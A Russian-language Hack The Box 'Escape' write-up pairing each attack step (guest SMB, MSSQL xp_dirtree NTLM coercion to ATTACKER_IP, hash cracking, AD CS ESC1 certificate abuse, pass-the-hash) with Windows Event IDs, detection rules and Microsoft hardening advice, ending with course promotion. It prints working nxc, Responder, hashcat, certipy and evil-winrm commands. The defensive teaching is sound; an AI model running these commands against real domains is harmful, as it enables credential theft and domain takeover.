HTB Escape PetitPotam прохождение: каждый шаг атаки и его детект в логах Windows

CVE-2021-36942 — PetitPotam — эксплуатируется в реальных атаках с августа 2021 года (первый зафиксированный случай — 2021-08-23, по данным inthewild.io). CVSS 7.5 (HIGH), входит в каталог CISA KEV (список уязвимостей, которые УЖЕ используются злоумышленниками), связана с ransomware-кампаниями и занимает top 1% по шкале EPSS (Exploit Prediction Scoring System — вероятность эксплуатации в ближайшие 30 дней: 0.66 из 1.0). Машина HTB Escape на Hack The Box моделирует цепочку из того же класса: гостевой SMB-доступ → NTLM-coercion через MSSQL → перехват хеша → захват домена через AD CS. Каждый существующий writeup по этой машине заканчивается на root.txt — ни одного Event ID, ни одной мысли о том, как эту цепочку ловить. Здесь я разбираю каждый шаг параллельно: что делает атакующий и что в это время видит SOC-аналитик в логах Windows.
Уязвимость PetitPotam и NTLM relay атака: зачем это нужно злоумышленнику
Перед тем как открывать терминал — разберёмся, зачем атакующий всё это делает и почему цепочка работает.
PetitPotam эксплуатирует протокол MS-EFSRPC (Encrypting File System Remote Protocol — удалённый вызов процедур шифрованной файловой системы Windows). Атакующий отправляет специально сформированный запрос на контроллер домена, и тот самостоятельно подключается к машине атакующего, передавая свои аутентификационные данные NTLM. Аналогия: вы звоните в банк, представляетесь сотрудником поддержки и просите перезвонить на ваш номер с корпоративного телефона — а банк послушно перезванивает и представляется. Именно это делает PetitPotam.
В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1187 — её идентификаторы) приём называется Forced Authentication (T1187, тактика Credential Access). PetitPotam — самый известный вариант, но не единственный. Есть PrinterBug (через MS-RPRN), DFSCoerce (через MS-DFSNM) и xp_dirtree через MSSQL. Все делают одно: заставляют Windows-сервис подключиться к хосту атакующего и отправить NTLM-аутентификацию. На HTB Escape используется xp_dirtree — тот же класс атаки, тот же принцип, тот же результат.
Перехваченную аутентификацию можно использовать двумя путями. Первый — взломать хеш: извлечь пароль из NTLMv2 challenge/response через hashcat или john (так работает Escape). Второй — relay: перенаправить аутентификацию на другой сервис, который примет её как свою. Когда целью relay становится AD CS (Active Directory Certificate Services — служба сертификатов, встроенная PKI-инфраструктура Active Directory), атакующий получает сертификат контроллера домена. Дальше — запрос TGT (Ticket Granting Ticket — билет Kerberos для доступа к любым ресурсам домена), DCSync (T1003.006 — выгрузка хешей всех пользователей из базы NTDS), полный контроль.
Почему это критично. CVSS 7.5 (HIGH). Разбор вектора: AV:N — атака по сети, AC:L — низкая сложность, PR:N — привилегии не нужны, UI:N — участие пользователя не требуется. По методологии SSVC (Stakeholder-Specific Vulnerability Categorization) CISA-ADP присвоила решение Act — патчить немедленно. Автоматизируема, техническое воздействие — total. По данным Microsoft (KB5005413), организации уязвимы, если используют AD CS с включёнными службами Certificate Authority Web Enrollment или Certificate Enrollment Web Service — а они включены по умолчанию.
По данным Verizon DBIR 2025, 38% утечек данных связаны с кражей учётных данных. PetitPotam и родственные coercion-техники — один из самых быстрых способов получить эти данные в Windows-среде.
HTB Escape writeup: разведка и первый доступ
Что видит атакующий
Машина Escape (10.10.11.202) — контроллер домена Windows Server 2019 в домене sequel.htb. Сканирование через nmap -p- --min-rate 10000 выявляет характерный набор открытых портов: DNS (53), Kerberos (88), LDAP (389), SMB (445), MSSQL (1433), WinRM (5985). Комбинация DNS + Kerberos + LDAP на одном хосте — практически гарантия, что перед нами контроллер домена. Запомни эту связку — она встречается постоянно.
Детальный скан nmap -sCV раскрывает домен sequel.htb и имя хоста dc.sequel.htb. TLS-сертификат на порту 636 подписан центром сертификации sequel-DC-CA — немедленная подсказка: в домене развёрнут AD CS. Для работы с Kerberos нужно синхронизировать часы с DC — на Escape разница составляет около 8 часов.
Записываем в /etc/hosts: 10.10.11.202 dc.sequel.htb sequel.htb dc.
SMB доступен с гостевой аутентификацией. Команда nxc smb 10.10.11.202 -u guest -p '' показывает, что любое имя пользователя с пустым паролем принимается. Через --shares видно шару Public с правами READ. На ней лежит один файл — «SQL Server Procedures.pdf». Внутри PDF — учётные данные для подключения к MSSQL: пользователь PublicUser с паролем.
Через --rid-brute можно перечислить доменных пользователей: Tom.Henn, Brandon.Brown, Ryan.Cooper, sql_svc, James.Roberts, Nicole.Thompson. Эта информация пригодится для lateral movement.
Что видит SOC
На контроллере домена в логе Security появляется Event ID 4624 (An account was successfully logged on) с типом входа 3 (Network) и именем учётной записи Guest или произвольной строкой. Далее — Event 5140 (A network share object was accessed) при обращении к шаре Public.
Гостевой доступ к файловой шаре на контроллере домена — сам по себе аномалия, если он не предусмотрен политикой. Нормальная инфраструктура не держит шары с документацией на DC. Правило детекции: алерт на Event 4624 Type 3 с гостевой или анонимной учёткой на контроллерах домена. Перечисление RID через SMB генерирует серию Event 4625 (Failed Logon) — массовые неудачные попытки входа с одного IP.
NTLM relay атака через MSSQL: принудительная аутентификация
Coercion через xp_dirtree
Получив доступ к MSSQL как PublicUser, атакующий обнаруживает, что xp_cmdshell (выполнение системных команд) отключена — прямого RCE нет. Зато есть xp_dirtree — встроенная процедура SQL Server, которая обращается к указанной UNC-шаре (сетевому пути вида \\IP\share). Вызов xp_dirtree '\\ATTACKER_IP\share' заставляет SQL Server подключиться к машине атакующего и отправить NTLMv2 challenge/response от имени сервисной учётной записи, под которой работает MSSQL — в нашем случае sql_svc.
На стороне атакующего должен быть запущен Responder — инструмент, который имитирует SMB-сервер и перехватывает NTLM-аутентификацию. Предпосылки: Kali Linux (или аналог) с установленным Responder (sudo apt install responder) и сетевой доступ до MSSQL-порта целевой машины.
# Терминал 1: запускаем Responder на VPN-интерфейсе
sudo responder -I tun0
# Терминал 2: coercion — заставляем MSSQL обратиться к нам
nxc mssql 10.10.11.202 -u PublicUser -p 'пароль' \
--local-auth -M mssql_coerce -o LISTENER=ATTACKER_IP
Ожидаемый результат в окне Responder: строка [SMB] NTLMv2-SSP Username : sequel\sql_svc и полный хеш. Если строки нет — проверь, что Responder слушает на правильном интерфейсе (tun0 для HTB VPN) и что firewall не блокирует входящий SMB (TCP 445).
Перехваченный NTLMv2-хеш взламывается через hashcat -m 5600 hash.txt /путь/к/словарю. Режим 5600 — NTLMv2. Пароль sql_svc несложный и находится в стандартных словарях за секунды. Результат — полноценные доменные учётные данные: sequel\sql_svc. С ними атакующий подключается по WinRM: evil-winrm -i 10.10.11.202 -u sql_svc -p 'пароль'.
Что видит SOC при NTLM-coercion
Этот шаг генерирует два ключевых сигнала.
На уровне хоста: Event 4624 Type 3 на MSSQL-сервере, где сервисная учётка sql_svc инициирует сетевой вход, но целевой IP — не доменный ресурс, а адрес из VPN-пула атакующего. Сервисные учётки SQL Server не должны инициировать исходящие SMB-подключения к произвольным хостам.
На сетевом уровне: SMB-трафик (TCP 445) от контроллера домена к IP, который не является членом домена. Любой IDS/NTA (Network Traffic Analysis — анализ сетевого трафика) с правилом на исходящий SMB от DC поймает это сразу. В NIST CSF 2.0 это DE.AE-01 — мониторинг отклонений от базовой линии сетевых операций.
MITRE-маппинг: T1187 (Forced Authentication) на этапе coercion → T1557.001 (Name Resolution Poisoning and SMB Relay) на этапе перехвата.
Lateral movement: пароли в логах ошибок SQL Server
С учёткой sql_svc атакующий попадает на машину через WinRM (Windows Remote Management — протокол удалённого управления, порт 5985). В директории C:\SQLServer\Logs\ лежит файл ERRORLOG.BAK — лог ошибок SQL Server. Внутри — строка, где пользователь Ryan.Cooper пытался подключиться к MSSQL, случайно указав пароль вместо имени учётной записи. SQL Server записал неудачную попытку в лог, сохранив введённый «логин» (а на самом деле — пароль) открытым текстом.
Это не уязвимость софта — это типичная ошибка конфигурации и человеческий фактор. Но в реальных инфраструктурах такое встречается регулярно: пароли в логах приложений, скриптах миграции, конфигурационных файлах, переменных окружения. По данным IBM X-Force, рост атак с использованием действительных учётных данных составил +71% в 2024 году. Часто эти данные берутся из подобных источников. Мораль: после получения шелла всегда проверяй логи — это одно из первых мест, где могут лежать чужие креды.
С паролем Ryan.Cooper атакующий открывает новую WinRM-сессию. Ryan.Cooper — обычный доменный пользователь, но у него есть права на enrollment в AD CS.
SOC-аналитик видит два Event 4624 Type 3 подряд: сначала sql_svc, затем Ryan.Cooper, оба с одного и того же IP атакующего. Сервисная учётка, подключающаяся интерактивно через WinRM — первый красный флаг. Два разных пользователя с одного IP за короткий промежуток — второй.
AD CS уязвимости: ESC1 и ESC8 на пути к администратору домена
Чем ESC1 отличается от ESC8
AD CS — PKI-инфраструктура Active Directory, которая выдаёт сертификаты для аутентификации пользователей, машин и сервисов. Уязвимости AD CS классифицированы в исследовании SpecterOps «Certified Pre-Owned» под кодами ESC1–ESC8. На Escape используется ESC1, но в контексте PetitPotam чаще обсуждается ESC8. Разберём оба.
ESC8 — проблема HTTP-эндпоинта Web Enrollment. Если на сервере AD CS включена служба Certificate Authority Web Enrollment и не настроен EPA (Extended Protection for Authentication — механизм защиты от relay-атак), атакующий перенаправляет перехваченную NTLM-аутентификацию на этот эндпоинт и получает сертификат. Связка PetitPotam + ESC8 — та самая «смертельная комбинация», о которой Microsoft предупреждает в KB5005413. По данным Rapid7, при тестировании в 2021 году контроллеры домена с AD CS были эксплуатируемы без аутентификации «из коробки» — в дефолтной конфигурации.
ESC1 — проблема шаблона сертификата. Шаблон разрешает запрашивающему указать произвольный Subject Alternative Name (SAN) — «выписать сертификат на чужое имя». Если при этом шаблон доступен для enrollment обычному пользователю и имеет EKU (Extended Key Usage) для клиентской аутентификации — любой доменный пользователь может получить сертификат от имени администратора. Без брутфорса, без эксплойтов — через легитимный механизм PKI.
На HTB Escape уязвим один из шаблонов: он позволяет Ryan.Cooper запросить сертификат с SAN равным administrator@sequel.htb. Это эскалация привилегий Windows Server через сертификат.
Эксплуатация ESC1 через certipy
Certipy — Python-утилита для аудита и эксплуатации AD CS. Предпосылки: Python 3, установленный certipy-ad (pip install certipy-ad), сетевой доступ до контроллера домена.
# Шаг 1: поиск уязвимых шаблонов
certipy find -u Ryan.Cooper -p 'пароль' -dc-ip 10.10.11.202
# Результат: JSON-файл с отмеченными шаблонами (ESC1 помечен)
# Шаг 2: запрос сертификата с подменённым SAN
certipy req -u Ryan.Cooper -p 'пароль' -ca sequel-DC-CA \
-template имя_шаблона -upn administrator@sequel.htb -dc-ip 10.10.11.202
# Результат: файл administrator.pfx
# Шаг 3: аутентификация по сертификату
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.202
# Результат: NT-хеш учётной записи Administrator
После получения NT-хеша атакующий подключается по WinRM через Pass the Hash (T1550.002 — техника lateral movement, при которой вместо пароля используется его хеш): evil-winrm -i 10.10.11.202 -u administrator -H 'хеш'. Домен захвачен.
Что видит SOC при атаке на Active Directory Certificate Services
На сервере AD CS (на Escape это тот же DC) генерируются специфические события.
Event 4886 (Certificate Services received a certificate request) — запрос сертификата от Ryan.Cooper по шаблону с флагом ENROLLEE_SUPPLIES_SUBJECT. Event 4887 (Certificate Services approved a certificate request and issued a certificate) — сертификат выдан. Ключевой индикатор: в поле Subject запрошенного сертификата указан SAN, отличающийся от учётной записи запрашивающего. Ryan.Cooper запрашивает сертификат на administrator@sequel.htb — аномалия, которая должна вызывать немедленный алерт.
После аутентификации по сертификату появляется Event 4768 (A Kerberos authentication ticket (TGT) was requested) с типом pre-auth certificate-based и именем учётной записи Administrator, но с IP атакующего. Третий сигнал: TGT для администратора с нетипичного источника.
Мониторинг Windows Event Log: сводная таблица детекции
Полная карта событий Windows, соответствующих каждому шагу атаки на HTB Escape. Эту таблицу можно использовать как шаблон для построения корреляционных правил в SIEM (Security Information and Event Management — система сбора и корреляции логов безопасности).
| Шаг атаки | Event ID | Индикатор | MITRE ATT\&CK |
|---|---|---|---|
| Гостевой SMB-доступ | 4624 Type 3 | Guest/пустой пароль на DC | T1078.002 |
| RID brute-force | 4625 (серия) | Массовые неудачные входы с одного IP | T1078.002 |
| Coercion xp_dirtree | 4624 Type 3 | Исходящий SMB от SQL к внешнему IP | T1187 |
| Перехват NTLMv2 | Сетевой трафик | SMB к IP вне домена | T1557.001 |
| WinRM (sql_svc) | 4624 Type 3 | Интерактивная сессия сервисной учётки | T1021.002 |
| WinRM (Ryan.Cooper) | 4624 Type 3 | Второй пользователь с того же IP | T1078.002 |
| Запрос сертификата ESC1 | 4886 | SAN отличается от запрашивающего | — |
| Выдача сертификата | 4887 | Шаблон с ENROLLEE_SUPPLIES_SUBJECT | — |
| TGT по сертификату | 4768 | Cert-based pre-auth для admin | — |
| Pass the Hash | 4624 Type 3 | NTLM-auth admin с нетипичного IP | T1550.002 |
Корреляционное правило: если Event 4886 с шаблоном, у которого включён ENROLLEE_SUPPLIES_SUBJECT, появляется в пределах 10 минут после Event 4624 Type 3 от того же пользователя — эскалация привилегий через AD CS с высокой вероятностью.
Детектирование атак на домен: рекомендации по защите
Что мониторить для SIEM обнаружения NTLM relay
Детектирование атак через NTLM relay и AD CS требует видимости на нескольких уровнях.
Сетевой уровень. Исходящие SMB-соединения (TCP 445) от контроллеров домена и SQL-серверов к IP вне доменного периметра. В нормальной работе контроллер домена не инициирует SMB-подключения к произвольным хостам. Это одно из самых надёжных правил: false positive rate близок к нулю.
Уровень аутентификации. Event 4624 Type 3 с NTLM-аутентификацией (а не Kerberos) между серверами домена. В правильно настроенной среде межсерверная аутентификация идёт через Kerberos. NTLM между DC и другим сервером — аномалия. По данным CrowdStrike Global Threat Report, среднее время lateral movement после первоначального доступа — 62 минуты. Если правила детекции не срабатывают на первых шагах цепочки, шанс перехватить атаку до DCSync минимален.
Уровень сертификатов. Events 4886/4887 с шаблонами, у которых включён флаг CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT. Любой такой запрос от не-администратора — потенциальная ESC1-атака. Если шаблон одновременно имеет EKU Client Authentication и доступен обычным пользователям — это misconfiguration уровня OWASP A05:2021 (Security Misconfiguration).
Что делать для защиты
Рекомендации Microsoft из KB5005413:
Включить EPA на серверах AD CS — основная защита от NTLM relay на Certificate Authority Web Enrollment. Без EPA relay-атака через ESC8 работает в дефолтной конфигурации. В IIS Manager: установить Extended Protection на Required для виртуальных каталогов certsrv.
Включить Require SSL на IIS-эндпоинтах AD CS. Без SSL даже EPA неэффективна — Microsoft подчёркивает это отдельно.
Отключить NTLM-аутентификацию на серверах AD CS через групповую политику: Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options → Network security: Restrict NTLM: Incoming NTLM traffic → Deny All.
Аудит шаблонов сертификатов. Удалить флаг ENROLLEE_SUPPLIES_SUBJECT из всех шаблонов, где он не требуется. Ограничить enrollment permissions — обычные пользователи не должны иметь доступ к шаблонам с Client Authentication EKU и возможностью подмены SAN.
Применить патч CVE-2021-36942. Он блокирует неаутентифицированные вызовы PetitPotam через LSARPC. Но патч не закрывает аутентифицированный вариант: по данным CrowdStrike/CSA, любой доменный пользователь с валидными учётными данными по-прежнему может использовать PetitPotam. А на HTB Escape доменные учётные данные получаются на втором шаге.
Каждый writeup по HTB Escape в русскоязычном сегменте заканчивается на root.txt. Шаги атаки расписаны, флаг получен, статья закрыта. Ни одного Event ID, ни одной мысли о стороне защиты. И дело не в лени авторов — дело в подходе. Пентест без понимания детекции — половина работы. Атакующий, который не знает, как его действия выглядят в SIEM, не может оценить реальный риск. SOC-аналитик, который не видит цепочку атаки целиком, не напишет правило корреляции — будет ждать, пока вендор выпустит готовый контент. Цепочка coercion → AD CS → DCSync ломает домен быстрее, чем успевает среагировать L1-аналитик. Рекорд lateral movement по данным CrowdStrike Global Threat Report 2025 — 51 секунда. Если правила детекции не настроены на Event 4886 с подозрительным шаблоном, реагировать будет нечем. Будущее за теми, кто одинаково свободно читает вывод certipy и Event 4887 в Splunk. Не «красные» или «синие» — а те, кто видит всю цепочку. Если хочешь выстроить этот навык системно, а не собирать по кусочкам из writeup’ов — на codeby.school есть IB Basics, где дают базу для движения в обе стороны без предварительных требований.
Эту тему и смежные навыки разбирают на практике в курсе «Аналитик SOC» Codeby Academy.